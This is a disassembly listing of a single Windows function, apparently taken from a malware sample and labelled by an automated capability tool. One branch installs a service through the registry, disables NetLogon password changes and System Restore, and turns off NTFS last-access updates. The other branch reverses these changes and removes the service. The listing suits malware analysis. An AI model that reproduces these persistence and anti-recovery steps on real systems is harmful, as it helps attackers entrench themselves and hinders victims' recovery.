Function at 0x404580
Capabilities:
Delete registry key
Delete registry value
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push ebx
push esi
push edi
mov dword [ebp - 0x130], 4
mov edi, str.SYSTEMCurrentControlSetServices_
lea edx, [ebp - 0x114]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0xc]
lea edx, [ebp - 0x114]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x134], 0x40dcac
mov eax, dword [ebp + 8]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x138]
mov dl, byte [ecx]
mov byte [ebp - 0x139], dl
mov eax, dword [ebp - 0x134]
cmp dl, byte [eax]
jne 0x404661
cmp byte [ebp - 0x139], 0
je 0x404655
mov ecx, dword [ebp - 0x138]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x13a], dl
mov eax, dword [ebp - 0x134]
cmp dl, byte [eax + 1]
jne 0x404661
add dword [ebp - 0x138], 2
add dword [ebp - 0x134], 2
cmp byte [ebp - 0x13a], 0
jne 0x404603
mov dword [ebp - 0x140], 0
jmp 0x40466c
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x140]
mov dword [ebp - 0x144], edx
cmp dword [ebp - 0x144], 0
jne 0x4049a5
lea eax, [ebp - 0x12c]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov dword [ebp - 8], 1
mov edx, dword [ebp - 0x130]
push edx
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.ErrorControl
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x130]
push edx
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.Type
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0x130]
push edx
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.Start
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403f70
add esp, 4
lea ecx, [ebp - 0x12c]
push ecx
push str.SYSTEMCurrentControlSetServicesNetLogonParameters
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 8], 1
mov edx, dword [ebp - 0x130]
push edx
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.DisablePasswordChange
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], 0xf4240
mov edx, dword [ebp - 0x130]
push edx
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.MaximumPasswordAge
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x12c]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSystemRestore
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4047f1
mov dword [ebp - 8], 1
mov ecx, dword [ebp - 0x130]
push ecx
lea edx, [ebp - 8]
push edx
push 4
push 0
push str.DisableSR
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x12c]
push edx
push 1
push 0
push str.SYSTEMCurrentControlSetControlSession_ManagerPower
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x130]
push eax
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push str.Heuristics
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40485d
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x128]
push ecx
push 0
push 0
push str.Heuristics
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x12c]
push ecx
push str.SYSTEMCurrentControlSetControlSession_ManagerPower
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4048c2
mov byte [ebp - 0x122], 0
mov edx, dword [ebp - 0x130]
push edx
lea eax, [ebp - 0x128]
push eax
push 3
push 0
push str.Heuristics
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x12c]
push eax
push str.SOFTWAREMicrosoftDfrgBootOptimizeFunction
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40493c
mov edi, 0x40ddb8
lea edx, [ebp - 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
lea edx, [ebp - 0x14]
push edx
push 1
push 0
push str.Enable
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x12c]
push edx
push str.SYSTEMCurrentControlSetControlFileSystem
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40499b
mov dword [ebp - 0x130], 4
mov dword [ebp - 8], 1
mov eax, dword [ebp - 0x130]
push eax
lea ecx, [ebp - 8]
push ecx
push 4
push 0
push str.NtfsDisableLastAccessUpdate
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x404c68
mov dword [ebp - 0x148], 0x40dd64
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x14c], ecx
mov edx, dword [ebp - 0x14c]
mov al, byte [edx]
mov byte [ebp - 0x14d], al
mov ecx, dword [ebp - 0x148]
cmp al, byte [ecx]
jne 0x404a16
cmp byte [ebp - 0x14d], 0
je 0x404a0a
mov edx, dword [ebp - 0x14c]
mov al, byte [edx + 1]
mov byte [ebp - 0x14e], al
mov ecx, dword [ebp - 0x148]
cmp al, byte [ecx + 1]
jne 0x404a16
add dword [ebp - 0x14c], 2
add dword [ebp - 0x148], 2
cmp byte [ebp - 0x14e], 0
jne 0x4049b8
mov dword [ebp - 0x154], 0
jmp 0x404a21
sbb edx, edx
sbb edx, 0xffffffff
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jne 0x404c66
lea ecx, [ebp - 0x12c]
push ecx
lea edx, [ebp - 0x114]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push str.ErrorControl
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.Type
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.Start
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00404270
lea ecx, [ebp - 0x12c]
push ecx
push str.SYSTEMCurrentControlSetServicesNetLogonParameters
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0x130]
push edx
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.DisablePasswordChange
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.MaximumPasswordAge
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x12c]
push ecx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSystemRestore
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x404b4e
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0x130]
push edx
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.DisableSR
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x12c]
push eax
push 1
push 0
push str.SYSTEMCurrentControlSetControlSession_ManagerPower
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x130]
push ecx
push 0
lea edx, [ebp - 4]
push edx
push 0
push str.Heuristics
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x404bba
lea ecx, [ebp - 0x130]
push ecx
lea edx, [ebp - 0x128]
push edx
push 0
push 0
push str.Heuristics
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x12c]
push edx
push str.SYSTEMCurrentControlSetControlSession_ManagerPower
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x404c1f
mov byte [ebp - 0x122], 1
mov eax, dword [ebp - 0x130]
push eax
lea ecx, [ebp - 0x128]
push ecx
push 3
push 0
push str.Heuristics
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x12c]
push ecx
push str.SYSTEMCurrentControlSetServices
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x404c68
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret